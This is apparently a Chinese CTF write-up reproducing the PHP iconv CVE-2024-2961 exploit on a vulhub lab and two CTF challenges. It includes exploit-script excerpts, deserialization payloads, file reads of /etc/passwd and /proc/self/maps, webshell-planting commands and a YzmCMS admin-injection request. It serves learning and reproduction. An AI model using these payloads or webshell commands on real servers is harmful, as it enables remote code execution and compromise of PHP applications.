引言
在5月底p神的知识星球就发了关于这个cve的介绍利用,当时没怎么想仔细了解,因为我太菜了,里面交流的对我都很有难度.后来在7月初的西瓜杯上gxngxngxn神就出了关于这个利用,我没复现成功,在8月底的nssctf 3rd又是gxngxngxn哥哥出的一道cms利用这个漏洞.没复现成功,md,不准,得搞搞
初步了解
官网上是这样描述得,
缓冲区溢出是二进制安全研究领域里很常见的漏洞.所谓缓冲区溢出是指当一段程序尝试把更多的数据放入一个缓冲区,数据超出了缓冲区本身的容量,导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据.攻击者可以利用缓冲区溢出修改计算机的内存,破坏或控制程序的执行,导致数据损坏、程序崩溃,甚至是恶意代码的执行。缓冲区溢出攻击又分为栈溢出、堆溢出、格式字符串溢出、整数溢出、Unicode溢出.
因为这里包含了许多pwn知识,但我是web狗,就不从原理底层出发,而是从脚本小子的脑回路开始.
底层原理可以去看原作者的:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,iconv
是 php://filter/
使用过滤器时会使用的函数.
据原作者描述该漏洞影响PHP 7.0.0 (2015) 到 8.3.7 (2024)近十年php版本的任何php应用程序(Wordpress、Laravel 等)。PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数).
关于该漏洞的其他利用场景:原作者提出了PHP-MySQL注入到RCE,XXE到RCE,phar的替代品,new $_GET'cls';,文件读取反序列化(unserialize())也可以利用CVE-2024-2961这个漏洞将其升级为远程代码执行。总之,只要能控制文件读取或写入端点的前缀,就可能实现远程代码执行(RCE),具体可以看原作者博客。国内师傅还提出了可以用来绕过disable_functions。
涉及范围相当广,危害程度之深,大为震撼,怪不得gxngxngxn佬喜欢.
简单实例利用
搭一个vulhub上的环境,我的vulhub需要更新,下载最新版本覆盖原文件.
git clone https://github.com/vulhub/vulhub.git
拉取环境后,遇到这样的报错,
搜索发现是了解到是$_POST或者$_GET获取的表单返回数组的key值未定义,因为我们是直接获取这个值,但是如果这个key未定义的话,就会报错。原因是因为 PHP8.0 之后 对于语法要求更严格了。
如果我们使用这一个方式的话,如果没有设置或为NULL则为false,反之为true
这样的话,这个变量就会有一个默认值,可以用这一个方式来避免报错提示。
所以把index.php改为:
<?php
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
安装相关依赖:
需要python3.10
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
下载脚本:
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
脚本执行了三个请求:首先下载/proc/self/maps
文件,并从中提取PHP堆的地址和libc库的文件名.接着下载libc二进制文件来提取system()
函数的地址.最后执行一次最终请求来触发溢出并执行预设的任意命令.
脚本利用我们只需要重点修改类remote,其他修改几乎没有.
关键代码:
43 def __init__(self, url: str) -> None:
44 self.url = url
45 self.session = Session()
46 def send(self, path: str) -> Response:
47 """Sends given `path` to the HTTP server. Returns the response.
48 """
49 return self.session.post(self.url, data={"file": path})
50
51 def download(self, path: str) -> bytes:
52 """Returns the contents of a remote file.
53 """
54 path = f"php://filter/convert.base64-encode/resource={path}"
55 response = self.send(path)
56 data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
57 return base64.decodedata)
利用成功,
ctfshow西瓜杯 Ezzz_php
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
字符串逃逸变形和mb_strpos和mb_substr解析不一致,这里就不多赘述.
payload:
?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
前面报错,说是没有ssl证书,把https改成http就可以了.
官方脚本来源:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1
关键代码:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
filename_len = "a" * (len(path) + 10)
url = self.url+f"?start={filename_len}&read={payload}"
return self.session.get(url)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
return base64.decode(data)
这里引申晨曦佬的脚本复现,因为佬的代码思路和gxngxngxn佬的不一样,据我观察理解,我更喜欢gxngxngxn哥哥的.
脚本:https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/
关键代码:
流程就是,先读出php所使用的 libc 和所使用堆的基地址,然后通过缓冲区溢出的越界写入,实现地址覆盖,调用 libc 里面的函数, 从而rce。
而关键代码的作用就是利用任意文件读取漏洞实现读出php所使用的 libc 和所使用堆的基地址,后面就是一般步骤,基本没有需要修改脚本的地方.
url = "http://f393c0f9-89c3-454a-af8d-84f6755ed5ea.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
# 获取 /proc/self/maps
def get_maps():
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'
r = requests.get(url+data).text
# print(r)
data = re.search("What you are reading is:(.*)", r).group(1)
# print(txt)
return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
filename = "php://filter/convert.base64-encode/resource="+get_file
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
data = data.replace('[num]',str(len(filename)))
data = data.replace('[filename]',filename)
r = requests.get(url + data).text
data = re.search("What you are reading is:(.*)", r).group(1)
data = b64decode(data)
open(local_path,'wb').write(data)
# Path(local_path).write(data)
我们来看一下get_maps()函数的细节:
base64解码后:
get_maps()函数更像是一次验证,验证这个漏洞是否存在,并且获取 /proc/self/maps,download_file(get_file , local_path)则是基于此获取libc地址.
利用成功.
[NSSCTF 3rd]EZ_CMS
gxngxngxn佬精心设计的cms,修复了常见文章的YzmCMS 7.0任意函数调用RCE,通过审计源码,找到另一个入口类并利用.
wp:https://www.nssctf.cn/note/set/8149
不多赘述,源码下载:https://down.chinaz.com/soft/37810.htm
脚本也在wp里.
关键代码:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
random_string = ''.join(random.sample(string.ascii_letters + string.digits, 6))
data1 = {"username": "yzmcms", "password": "yzmcms", "code": "gxngxngxn"}
self.session.get(self.url + "admin/index/login.html")
self.session.post(url=self.url + "admin/index/login.html", data=data1)
yzm_csrf_token = re.search(r"var yzm_csrf_token = '([^']+)';",self.session.get(self.url + "admin/admin_manage/init.html").text).group(1)
#print(path)
payload = {"adminname": random_string, "password": "123456", "password2": "123456", "email": "","realname": "", "nickname": "","roleid[0]": ["eq"],"roleid[1][]": [path],"roleid[2]": ["readfile"],"dosubmit": "1", "yzm_csrf_token": yzm_csrf_token}
return self.session.post(url=self.url + "admin/admin_manage/add.html", data=payload)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
#print(response.text)
data = response.re.search(r'([A-Za-z0-9+/=]+)(?={"status)', flags=re.S).group(1)
return base64.decode(data)
中途会报错,多运行几次就行
比赛复现完了,也算半个脚本小子了.
咋成为完整的脚本小子呢.
理解脚本,成为脚本
作者给的脚本和gxngxngxn的同属一派,我就从西瓜杯的开始详解.
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
接收url.
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
filename_len = "a" * (len(path) + 10)
url = self.url+f"?start={filename_len}&read={payload}"
return self.session.get(url)
就跟它解释一样,实现题目的任意文件读取漏洞,读取path.
但path从哪来的,
python3 test2961.py http://f393c0f9-89c3-454a-af8d-84f6755ed5ea.challenge.ctf.show/ "echo '<?=@eval(\$_POST[0]);?>' > 2.php"
shell命令只传了网址和command,继续审计代码,
download()函数传了path,继续往上找,
发现safe_download()函数对path进行多次不同赋值,但都是同样的作用,检测目标的任意文件读是否支持:
-
data:text/plain;base64,
。 -
php://filter//resource=data:text/plain;base64,
。 -
php://filter/zlib.inflate/resource=data:text/plain;base64,
.
这些path作用是检查是否有漏洞进行的条件.继续审计代码,用任意文件读取漏洞读取并通/proc/self/maps
获取目标的内存布局,获取目标libc文件。获取目标内存布局需要获取libc的基地址,PHP堆的基地址。libc的基地址很好获取,但是PHP堆的基地址就得猜测,没办法100%确定,后面的内容就很二进制,web手看不了一点.
由此,我们理解了关键代码的作用,下次遇到这个漏洞就可以自己写脚本啦.
总结
知识大杂烩起来确实对我这个web手影响很大,主要还是太菜了.脚本小子没办法,各位师傅轻点喷,喷了就要带带我哦